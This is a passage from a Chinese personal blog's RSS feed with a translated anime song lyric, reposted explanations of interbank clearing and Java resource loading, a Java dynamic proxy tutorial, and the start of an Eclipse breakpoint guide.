    </item>
    <item>
      <title>前路月光</title>
      <link>http://blog.leaver.me/2014/01/28/%E5%89%8D%E8%B7%AF%E6%9C%88%E5%85%89/</link>
      <pubDate>Tue, 28 Jan 2014 15:35:43 +0000</pubDate>
      <guid>http://blog.leaver.me/2014/01/28/%E5%89%8D%E8%B7%AF%E6%9C%88%E5%85%89/</guid>
      <description>&lt;p&gt;火影片头曲想知道中文，没找到翻译，于是译之，感谢&lt;a href=&#34;http://weibo.com/u/1095659682&#34;&gt;@sepith &lt;/a&gt;  。&lt;/p&gt;
&lt;p&gt;今夜月光
不知为何
比往日温柔
崎岖泥泞的来时路
何时才能有同行之人&lt;/p&gt;
&lt;p&gt;我沉默
为即将而来的眼泪
泪水中努力
悲伤着变得更强&lt;/p&gt;
&lt;p&gt;很多时候，伤痕累累
忘掉了痛苦
流过血泪
王者归来是使命所及
哪管一路秋叶萧萧&lt;/p&gt;
&lt;p&gt;我仰望星空
孤独从来不是虚假的幻想
你的过去我无法参与
我想要的的是现在和未来&lt;/p&gt;
&lt;p&gt;昨日月光
无论是明亮，还是黯淡
我用双手铸造
始于生而终于死
一定错过了
诸多美好&lt;/p&gt;
&lt;p&gt;我的同伴
虽然时过境迁
可是，你住过的地方
经年难忘
如果你想对我说
我还是会在你身边
舍命相陪&lt;/p&gt;
&lt;p&gt;很多时候，伤痕累累
星空暗淡
假使黎明
也悄然消失
我一定再一次
为了梦想努力拼搏&lt;/p&gt;
&lt;p&gt;痛到难以承受
迷惘前路崎岖
我轻轻闭上双眼
感受月光温柔
前路相伴
岂敢轻易迷失&lt;/p&gt;
&lt;p&gt;如果欺骗了内心
失去了自己
莫忘星空璀璨
凝视遥远的未来
固执地努力&lt;/p&gt;
&lt;p&gt;很多时候，伤痕累累
忘掉了痛苦
流过血泪，
王者归来是使命所及
哪管一路秋叶萧萧&lt;/p&gt;
&lt;p&gt;我仰望星空
真正强大的是
心怀梦想的人
有着爱的人&lt;/p&gt;</description>
    </item>
    <item>
      <title>[藏]跨行清算系统的实现原理</title>
      <link>http://blog.leaver.me/2013/12/14/%E8%97%8F%E8%B7%A8%E8%A1%8C%E6%B8%85%E7%AE%97%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%AE%9E%E7%8E%B0%E5%8E%9F%E7%90%86/</link>
      <pubDate>Sat, 14 Dec 2013 18:24:12 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/12/14/%E8%97%8F%E8%B7%A8%E8%A1%8C%E6%B8%85%E7%AE%97%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%AE%9E%E7%8E%B0%E5%8E%9F%E7%90%86/</guid>
      <description>&lt;p&gt;本文来自&lt;a href=&#34;http://www.cnblogs.com/aigongsi/p/3439766.html&#34;&gt;God Is Coder&lt;/a&gt;，通过这篇文章我算是理解了跨行清算系统逻辑，非常非常好。&lt;/p&gt;
&lt;p&gt;最近看了很多银联方面的清算系统的设计原理，对于跨行清算系统有了很大的了解，写这篇文章的目的是在于从一个程序员的角度去思考一个跨行清算系统的架构是如何实现的以及整个过程中我们有哪些思想是可以借鉴的。由于金融里面涉及到太多的专业名词，包括借贷，备付金，头寸，调拨等等，这里不会涉及到这些，取而代之的是以大家可以理解的概念去解释。&lt;/p&gt;
&lt;p&gt;下面简单的介绍一下两种跨行清算系统的实现原理以及特点。一种跨清算系统是我们最熟悉的银联，还有一种是越来越流行的第三方支付系统，比较典型的是快钱。&lt;/p&gt;
&lt;p&gt;首先来拿生活中的一个非常常见的例子来说明跨行清算的整个过程，这里面不涉及交易费等其他概念。&lt;/p&gt;
&lt;h2 id=&#34;跨行取款流程&#34;&gt;&lt;strong&gt;跨行取款流程&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;张三是工行的持卡人，他需要取现金，但是找不到工行的ATM机器，发现附近有建行的ATM机器，他只能去建行取款，整个过程就是跨行清算的过程，我们以这个场景为例，分析一下业务流程，具体交互流程见下面一张图。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/12/%E5%9B%BE1-21B3CB2A3-1863-403C-AA5A-F1F49E7EF416.png&#34;&gt;&lt;img alt=&#34;%E5%9B%BE1-21B3CB2A3-1863-403C-AA5A-F1F49E7EF416&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2128716c2c0bc979bd671885c0cb16e5ee93d09e.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;工行持卡人张三在建行ATM机器取款100，ATM请求建行主机，由于是工行的卡，建行不识别，只能请求工行去处理，工行识别持卡人账户并扣款100，然后通知建行，建行则通知atm吐钱。&lt;/p&gt;
&lt;p&gt;这里整个系统要解决两个问题：&lt;/p&gt;
&lt;p&gt;1 建行如何与工行通信&lt;/p&gt;
&lt;p&gt;2 建行和工行之间如何清算，如上图结果，工行欠建行100.&lt;/p&gt;
&lt;p&gt;整个系统的分析基于以上两个问题，下面首先解决是通信问题&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h2 id=&#34;跨行通信的两种模式&#34;&gt;跨行通信的两种模式&lt;/h2&gt;
&lt;p&gt;我们先假设工行提供接口，只需要建行发送指约定格式的报文，即可于工行通信，这种相当于建行直接通过接口方式与工行通信。如果是这种方式，只能解决建行和工行的单向通信，如果工行和建行通信，则工行要发送建行指定的通信报文格式。可是大家想想，如果银行更多怎么办，下面是三家银行间的通信&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/12/%E5%9B%BE1-239A9848E-13A0-4F15-ABEB-F1CE91BBAD73.png&#34;&gt;&lt;img alt=&#34;%E5%9B%BE1-239A9848E-13A0-4F15-ABEB-F1CE91BBAD73&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/bf16b6e107e301f75d8484ce0e0f98ed3f685027.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;当有三家银行的时候，通信链路就有3*2=6条，当银行越来越多的时候，这种点对点的通信变的越来越复杂，每新增一家银行，他要做之前银行都要做的很多重复性的劳动，这样的成本非常高，也不经济，那么必须出现一个网络，它能够接入所有的银行，新的银行只需要接入这个网络，就可以和其他所有的银行进行通信。&lt;/p&gt;
&lt;p&gt;先把这个网络成为通信网络，这种通信网络有两种方式可以连接所有的银行&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1 这个通信网络定义标准接口，所有的银行都必须实现这个通信网络定义的api，新的银行如果想要接入这个通信网络，必须实现通信接口约定的协议。简称公共接口模式&lt;/li&gt;
&lt;li&gt;2 这个通信网络主动去连接所有的银行的接口，把所有银行的接口信息都接入里面，就像一个适配器，新的银行如果想要接入这个通信网络，这个通信网络必须主动联系银行，按照银行的接口协议实现通信，简称适配器模式。
下面一幅图演示了这两种模式的不同：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/12/%E5%9B%BE1-27BDB9C58-65C9-4F58-B9B0-EA37D977317E.png&#34;&gt;&lt;img alt=&#34;%E5%9B%BE1-27BDB9C58-65C9-4F58-B9B0-EA37D977317E&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/11ace11b09acce70d8eaead337a87ebb868513a8.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;对于这两模式，主要博弈就在于谁强谁弱。显然第三方支付公司属于适配器模式，需要一家一家银行去接入，至于银联，个人认为应该是第一种模式，这种对于银联这种需要稳定的系统来说是最具有优势的。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h2 id=&#34;跨行清算保证金模式&#34;&gt;跨行清算保证金模式&lt;/h2&gt;
&lt;p&gt;解决了通信问题，下面就看如何解决资金的清算问题。一种简单的方案就是工行在建行里面开设一个保证金账户，用这个账户去偿还在整个跨行交易中应付给建行的资金。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/12/%E5%9B%BE1-288169047-B15D-422F-828E-685ADF9207D7.png&#34;&gt;&lt;img alt=&#34;%E5%9B%BE1-288169047-B15D-422F-828E-685ADF9207D7&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ee7b5387f30e0221c9366cf68d72d03cca9fa2fb.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;从上图来看，这种方案确实可行。只需要工行在建行里面放足额的保证金，就可以满足跨行的费用。但是这里面实际上存在非常多的问题，&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1 如果银行越来也多，每个银行都要在其他银行存钱，太不经济了&lt;/li&gt;
&lt;li&gt;2 保证金需要放多少资金？如果一直都没有发生跨行交易，工行就亏大发了&lt;/li&gt;
&lt;li&gt;3 如果保证金不够怎么办？交易失败还是记应收款？
对于第一个问题假设银行越来越多，会导致工行需要在其他每个银行里面都开设保证金账户（见下图），是一个很不经济的方案。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/12/%E5%9B%BE1-266D7CC71-8C84-4621-B234-3E06FAC5856F.png&#34;&gt;&lt;img alt=&#34;%E5%9B%BE1-266D7CC71-8C84-4621-B234-3E06FAC5856F&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/07c21a5d4f416fa7b3b34b4667bcb02a08a452fd.png&#34;&gt;&lt;/a&gt;说明这个在其他银行存保证金的方案是不可行的，和之前通信的问题一样，是不是可以把所有的银行保证金账户单独管理起来，统一放置在一起，方便各个银行之间的清算。我们暂时把这个系统称之为保证金系统。&lt;/p&gt;
&lt;h2 id=&#34;保证金系统&#34;&gt;保证金系统&lt;/h2&gt;
&lt;p&gt;保证金就是方便各个银行之间的清算，需要单独由一个系统进行管理，解决了跨行之间保证金存放的问题。每个银行只需要在保证金系统中存点钱就可以了。保证金系统也有两种模式。先看看比较好理解的第一种模式：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/12/%E5%9B%BE1-2EB1C0D6C-C30F-4B7D-A120-7CB46AC33DD3.png&#34;&gt;&lt;img alt=&#34;%E5%9B%BE1-2EB1C0D6C-C30F-4B7D-A120-7CB46AC33DD3&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/b420275350a8aa8888110b745a1426787f9a750d.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在这种模式下，银行先把一部分钱存放在保证金系统里面，同时银行内部建立一个虚拟账户，记录存放了多少钱，主要是方便对账，万一这个保证金系统钱算错了怎么办。你可以想象一下，银行是很小气的，为啥愿意把钱存放到这保证金系统里面，这部分钱干啥不好，能够银行这么干的只有国家了，这个系统就是央行的备付金管理系统。每个新增的银行都要存一份钱在这里。&lt;/p&gt;
&lt;p&gt;另外一种方案是倒过来思考，既然没有牛逼的央行作支撑，那可以在每个商业银行都建立一个账户，用这个账户负责和银行进行清算。每新增一家银行，就在那个银行里面开一个保证金账户。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/12/%E5%9B%BE1-2EBA5972D-06C6-4DC7-A7E4-4CC68455988B.png&#34;&gt;&lt;img alt=&#34;%E5%9B%BE1-2EBA5972D-06C6-4DC7-A7E4-4CC68455988B&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2ed236969650d9d6c981c7a933ca69a0b0aa982a.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这两种方式有本质的不同，一个是银行把资金的一部分转出到保证金，银行建立虚拟账户和保证金里面真实的资金映射。一个是保证金系统把资金转出到各个银行，自己内部建立一个虚拟账户和银行中真实的资金账户进行映射。这个间接的银行了后续的对账机制，这里先不叙述。&lt;/p&gt;
&lt;p&gt;所有的第三方支付公司跨行清算的流程都是第二种方式，只有国家级清算公司（比如银联）是第一种方式，这是一种资源和权力上的不平等，不过是可以理解的。&lt;/p&gt;
&lt;h2 id=&#34;清算系统&#34;&gt;清算系统&lt;/h2&gt;
&lt;p&gt;保证金系统解决了保证金存放的问题，接下来就是解决如何清算的问题。假设保证金转账是实时的，就要面对上面说的问题，保证金不够的情况下，跨行交易是成功还是失败。这是一个业务上问题，有很多种解决方案，我们暂不说。从技术上来讲，如果每一笔交易都要保证金实时记账，那么保证金系统的负载太大，事务如何保证等等一些列的问题。所以一个最简单的方案就是：一天结算一次。&lt;/p&gt;
&lt;p&gt;每天由一个系统记录这些跨行交易信息，汇总出来，统一记账。这样一天只需要调用一次保证金系统即可。那么整个清算过程则是下面的流程：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;1 系统T日发生建行和工行的跨行交易100
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/12/%E5%9B%BE1-208F9F26D-11BC-4BCA-9FAD-F5C9F7B9691C.png&#34;&gt;&lt;img alt=&#34;%E5%9B%BE1-208F9F26D-11BC-4BCA-9FAD-F5C9F7B9691C&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/4c745f5c7b8a40a840d975f5ac5a0e0871e8a2dc.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;2 清算系统T+1日汇总T日工行和建行之间发生的交易明细数据，并且发这些数据发给建行和工行进行确认
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/12/%E5%9B%BE1-2111356A9-ECA8-490A-977A-1FCD613F054F.png&#34;&gt;&lt;img alt=&#34;%E5%9B%BE1-2111356A9-ECA8-490A-977A-1FCD613F054F&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/1982182c16c49a40f6f81c9839c260a0b599296c.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt; &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;3 工行建行分别对明细对账确认之后，通知清算系统确认交易明细无误，清算系统开始清算，调用保证金支付系统转账。&lt;/li&gt;
&lt;li&gt;4 清算完成之后，工行和建行分别获取保证金系统的真实金额和自身系统内部的映射账户进行余额对账。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/12/%E5%9B%BE1-2C84544CD-AE52-4D98-999C-C8B587B3E6AE.png&#34;&gt;&lt;img alt=&#34;%E5%9B%BE1-2C84544CD-AE52-4D98-999C-C8B587B3E6AE&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/c6fbba7cf0732085b9fc6a72eac7df350c736d08.png&#34;&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;清算中心最主要干得事情就是统计谁欠谁多少钱，以及触发保证金系统的调拨操作。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h2 id=&#34;对账流程&#34;&gt;对账流程&lt;/h2&gt;
&lt;p&gt;对账包括两个部分，一个是跨行交易明细的对账以及保证金余额的对账。&lt;/p&gt;
&lt;p&gt;首先要思考的是：对账是谁发起的 ？ 这个是了解对账的本质。&lt;/p&gt;
&lt;p&gt;我们举生活中的一个例子，我们把钱投资到一个人，那个人负责公司的日常运作。你肯定会主动了解公司的账务，因为那个是你的钱。对账的发起人也是如此，对于银联的清算过程，对账的发起者是商业银行，因为你把钱放在保证金系统里面，这是你的钱，你需要去关心这个的，银联可不关心这个。&lt;/p&gt;
&lt;p&gt;对于另外一种保证金系统，把钱放在各个银行里面了，那么对账的发起者就是这个保证金系统维护者了。目前普遍的第三方支付公司都是这个模式，所以他要找各个银行要结果明细进行对账，确认自己的资金安全无误。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;以上就是一个简单的跨行清算系统的雏形，从一个就简单的例子入手，说明一个清算过程。目前银联的第三方支付公司的清算过程大致如此，但是实现细节远比这个复杂。但是一个基本的清算系统的本质模型大体上是不会变的。当然这个只是对于同币种的清算，不同币种或者虚拟货币的清算会涉及到汇率的问题，这些就很复杂，有机会在研究一下，后续在分享。&lt;/p&gt;
&lt;p&gt;PS：以上很多名词都是自己的随意写的，里面很多专业名词这里不提及，有兴趣的可以自己去了解。&lt;/p&gt;</description>
    </item>
    <item>
      <title>[藏]Class.getResource和ClassLoader.getResource不同点</title>
      <link>http://blog.leaver.me/2013/12/14/%E8%97%8Fclass.getresource%E5%92%8Cclassloader.getresource%E4%B8%8D%E5%90%8C%E7%82%B9/</link>
      <pubDate>Sat, 14 Dec 2013 18:18:53 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/12/14/%E8%97%8Fclass.getresource%E5%92%8Cclassloader.getresource%E4%B8%8D%E5%90%8C%E7%82%B9/</guid>
      <description>&lt;p&gt;有一次遇到了，查了查。&lt;a href=&#34;http://www.cnblogs.com/yejg1212/p/3270152.html&#34;&gt;原文地址&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Java中取资源时，经常用到Class.getResource和ClassLoader.getResource，这里来看看他们在取资源文件时候的路径问题。&lt;/p&gt;
&lt;h2 id=&#34;classgetresourcestring-path&#34;&gt;Class.getResource(String path)&lt;/h2&gt;
&lt;div&gt;
&lt;pre&gt;path不以’/&#39;开头时，默认是从此类所在的包下取资源；
path  以’/&#39;开头时，则是从ClassPath根下获取；&lt;/pre&gt;
&lt;/div&gt;
什么意思呢？看下面这段代码的输出结果就明白了：
&lt;div&gt;
&lt;pre&gt;package testpackage;
public class TestMain {
    public static void main(String[] args) {
        System.out.println(TestMain.class.getResource(&#34;&#34;));
        System.out.println(TestMain.class.getResource(&#34;/&#34;));
    }
}&lt;/pre&gt;
&lt;/div&gt;
输出结果：
&lt;div&gt;
&lt;pre&gt;file:/E:/workspace/Test/bin/testpackage/
file:/E:/workspace/Test/bin/&lt;/pre&gt;
&lt;/div&gt;
上面说到的【path以’/&#39;开头时，则是从ClassPath根下获取；】在这里就是相当于bin目录(Eclipse环境下)。
&lt;p&gt;再来一个实例，假设有如下Project结构：&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/12/o_PackageStructure1.png&#34;&gt;&lt;img alt=&#34;o_PackageStructure1&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/94eb328bce2cf9ff32430cc4075af46091202a22.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;如果我们想在TestMain.java中分别取到1~3.properties文件，该怎么写路径呢？代码如下：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;package testpackage;

public class TestMain {

    public static void main(String[] args) {
        // 当前类(class)所在的包目录
        System.out.println(TestMain.class.getResource(&#34;&#34;));
        // class path根目录
        System.out.println(TestMain.class.getResource(&#34;/&#34;));

        // TestMain.class在&amp;lt;bin&amp;gt;/testpackage包中
        // 2.properties  在&amp;lt;bin&amp;gt;/testpackage包中
        System.out.println(TestMain.class.getResource(&#34;2.properties&#34;));

        // TestMain.class在&amp;lt;bin&amp;gt;/testpackage包中
        // 3.properties  在&amp;lt;bin&amp;gt;/testpackage.subpackage包中
        System.out.println(TestMain.class.getResource(&#34;subpackage/3.properties&#34;));

        // TestMain.class在&amp;lt;bin&amp;gt;/testpackage包中
        // 1.properties  在bin目录（class根目录）
        System.out.println(TestMain.class.getResource(&#34;/1.properties&#34;));
    }
}&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;※Class.getResource和Class.getResourceAsStream在使用时，路径选择上是一样的。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;h2 id=&#34;classgetclassloadergetresourcestring-path&#34;&gt;Class.getClassLoader（）.getResource(String path)&lt;/h2&gt;
&lt;div&gt;
&lt;pre&gt;path不能以’/&#39;开头时；
path是从ClassPath根下获取；&lt;/pre&gt;
&lt;/div&gt;
还是先看一下下面这段代码的输出：
&lt;div&gt;
&lt;pre&gt;package testpackage;
public class TestMain {
    public static void main(String[] args) {
        TestMain t = new TestMain();
        System.out.println(t.getClass());
        System.out.println(t.getClass().getClassLoader());
        System.out.println(t.getClass().getClassLoader().getResource(&#34;&#34;));
        System.out.println(t.getClass().getClassLoader().getResource(&#34;/&#34;));//null
    }
}&lt;/pre&gt;
&lt;/div&gt;
输出结果：
&lt;div&gt;
&lt;pre&gt;class testpackage.TestMain
sun.misc.Launcher$AppClassLoader@1fb8ee3
file:/E:/workspace/Test/bin/
null&lt;/pre&gt;
&lt;/div&gt;
从结果来看【TestMain.class.getResource(&#34;/&#34;) == t.getClass().getClassLoader().getResource(&#34;&#34;)】
&lt;p&gt;如果有同样的Project结构&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/12/o_PackageStructure.png&#34;&gt;&lt;img alt=&#34;o_PackageStructure&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/46e184c9601d96bbb9fbb19e475c7909c85fe52c.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;使用Class.getClassLoader（）.getResource(String path)可以这么写：&lt;/p&gt;
&lt;div&gt;
&lt;pre&gt;package testpackage;
&lt;p&gt;public class TestMain {
public static void main(String[] args) {
TestMain t = new TestMain();
System.out.println(t.getClass().getClassLoader().getResource(&amp;quot;&amp;quot;));&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    System.out.println(t.getClass().getClassLoader().getResource(&amp;quot;1.properties&amp;quot;));
    System.out.println(t.getClass().getClassLoader().getResource(&amp;quot;testpackage/2.properties&amp;quot;));
    System.out.println(t.getClass().getClassLoader().getResource(&amp;quot;testpackage/subpackage/3.properties&amp;quot;));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;}&lt;/pre&gt;&lt;/p&gt;
&lt;/div&gt;
&amp;nbsp;
&lt;p&gt;※Class.getClassLoader（）.getResource和Class.getClassLoader（）.getResourceAsStream在使用时，路径选择上也是一样的。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Java动态代理实例</title>
      <link>http://blog.leaver.me/2013/11/24/java%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%AE%9E%E4%BE%8B/</link>
      <pubDate>Sun, 24 Nov 2013 18:16:31 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/11/24/java%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%AE%9E%E4%BE%8B/</guid>
      <description>&lt;p&gt;首先什么是代理？&lt;/p&gt;
&lt;div&gt;所谓代理呢也就是在调用实现类的方法时，可以在方法执行前后做额外的工作，这个就是代理。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;那动态代理呢，官方解释是：&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;Java 动态代理机制的出现，使得 Java 开发人员不用手工编写代理类，只要简单地指定一组接口及委托类对象，便能动态地获得代理类。代理类会负责将所有的方法调用分派到委托对象上反射执行，在分派执行的过程中，开发人员还可以按需调整委托类对象及其功能，这是一套非常灵活有弹性的代理框架。&lt;/pre&gt;
老湿，你说的是个毛啊，完全没看懂啊！
&lt;p&gt;我更喜欢另一种通俗的解释，官方的解释总是高度抽象的，等用了一段时间才能理解体会&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;动态代理实现了日志和业务的分开，也就是某个类只是要提供了某些业务，比如银行取款业务。这个类实现了取款业务的同时也需要实现日志功能，如果不用动态代理的话，那么由此一来该类代码里面已经额外地添加了自己不该添加的日志功能能代码。所以我们就得使用动态代理把它的业务代码和日志功能代码分开。所以用到了动态代理概念，spring里面的AOP就是一个很好的例子。&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;不直观啊，老湿，能再给力一点不？&lt;/div&gt;
&lt;div&gt;额，这样的话，我们来看一个例子，要用到的两个类
&lt;div&gt;实现java.lang.reflect.InvocationHandler接口提供一个执行处理器，也就是真正做事的，然后通过java.lang.reflect.Proxy得到一个代理对象，通过这个代理对象来执行业务方法,在业务方法被调用的同时，执行处理器会被自动调用。   记住，动态代理只能对接口&lt;/div&gt;
&lt;div&gt;首先业务接口：&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&#34;lang:default decode:true &#34;&gt;public interface HelloWorld {
	public void sayHelloWorld();
}&lt;/pre&gt;
然后我们是这样写的实现
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public class HelloWorldImpl implements HelloWorld {
	public void sayHelloWorld() {
		System.out.println(&#34;Hello World!&#34;);
	}
}&lt;/pre&gt;
后来我们觉得执行这个方法前能不能做点其他啥事呢，比如写个日志？见个妹子？啥，这段代码不让改了，改了的话，业务方法和日志混合的一塌糊涂啊，以后想改个日志格式你来写啊
&lt;p&gt;那我们就得定义一个拦截器/执行处理器了。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public class HelloWorldHandler implements InvocationHandler {
	//目标对象
	private Object targetObject;

	public HelloWorldHandler(Object targetObject){
		this.targetObject = targetObject;
	}

	public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
		System.out.println(&#34;方法调用前&#34;);

		Object result = method.invoke(this.targetObject, args);

		System.out.println(&#34;方法调用结束&#34;);

		return result;
	}
}&lt;/pre&gt;
&lt;p&gt;这客户端咋用啊，老湿&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;public class HelloWorldTest {
	public static void main(String[] args) {
		//业务对象
		HelloWorld obj = new HelloWorldImpl();

		//拦截器对象
		HelloWorldHandler handler = new HelloWorldHandler(obj);

		//返回业务对象的代理对象
		HelloWorld proxy = (HelloWorld)Proxy.newProxyInstance(
				obj.getClass().getClassLoader(), 
				obj.getClass().getInterfaces(), 
				handler);

		//通过代理对象执行业务对象的方法
		proxy.sayHelloWorld();
	}
}&lt;/pre&gt;
&lt;p&gt;看到没，通过Proxy类的newProxyInstance方法，传入类加载器，类接口，和这个处理器，我们就获得一个代理&lt;/p&gt;
&lt;p&gt;执行结果是这样的&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;方法调用前
Hello World!
方法调用结束&lt;/pre&gt;
&lt;p&gt;恩，电脑没死机，是这样的&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
    </item>
    <item>
      <title>[藏]图文并茂详解Eclipse断点</title>
      <link>http://blog.leaver.me/2013/11/16/%E8%97%8F%E5%9B%BE%E6%96%87%E5%B9%B6%E8%8C%82%E8%AF%A6%E8%A7%A3eclipse%E6%96%AD%E7%82%B9/</link>
      <pubDate>Sat, 16 Nov 2013 14:21:11 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/11/16/%E8%97%8F%E5%9B%BE%E6%96%87%E5%B9%B6%E8%8C%82%E8%AF%A6%E8%A7%A3eclipse%E6%96%AD%E7%82%B9/</guid>
      <description>&lt;p&gt;本文转自：&lt;a href=&#34;http://my.oschina.net/colorleaf/blog/176569&#34;&gt;http://my.oschina.net/colorleaf/blog/176569&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这个算说的比较清楚的了，虽然简单但是很有用。收藏一下。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;详解Eclipse断点&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;大家肯定都用过Eclipse的调试的功能，在调试的过程中自然也无法避免要使用断点(breakpoint)，但不知是否对Eclipse中各类断点都有所了解。本篇图文并茂地介绍了Eclipse中全部类型的断点，及其设置，希望对大家有所帮助。(2011.11.20)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. 示例程序&lt;/strong&gt;
BreakpointDemo是一个臆造的应用程序，只是为了便于讲解Eclipse中各类断点的使用罢了。其代码如下图所示，
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/11/15153245_BTUJ.png&#34;&gt;&lt;img alt=&#34;15153245_BTUJ&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/abd1d53612eeef8d1feccdf17a894d3e71d41941.png&#34;&gt;&lt;/a&gt;
BreakpointDemo主要包含两个方法：
[1]setValue，该方法根据指定的次数(count)，对成员变量value进行赋值，值的范围为0-9的随机整数。
[2]printValue，该方法会调用setValue()对value进行赋值，并打印出value的值；但，如果value能被3整除，那么就会抛出IllegalArgumentException异常。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Line Breakpoint&lt;/strong&gt;
Line Breakpoin是最简单的Eclipse断点，只要双击某行代码对应的左侧栏，就对该行设置上断点。此处，对第20行代码设置上Line Breakpoint，如下图所示，
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/11/15153245_zkOp.png&#34;&gt;&lt;img alt=&#34;15153245_zkOp&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ca7da4e9038334e0603072298cbaf834326da937.png&#34;&gt;&lt;/a&gt;
可以为Line Breakpoint设置一个条件，那么当程序运行到该断点时，只有满足设定的条件，才会被中断。右键点击第20行的断点，选择&amp;quot;Breakpoint Properties&amp;hellip;&amp;quot;
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/2013/11/15153245_I2Pe.png&#34;&gt;&lt;img alt=&#34;15153245_I2Pe&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/ff95dcb0130a35d3e293a52487e4109316cba1f8.png&#34;&gt;&lt;/a&gt;
在弹出的属性对话框中，勾选上&amp;quot;Conditional&amp;quot;，然后在文本框中输入&amp;quot;count % 2 == 0&amp;quot;。
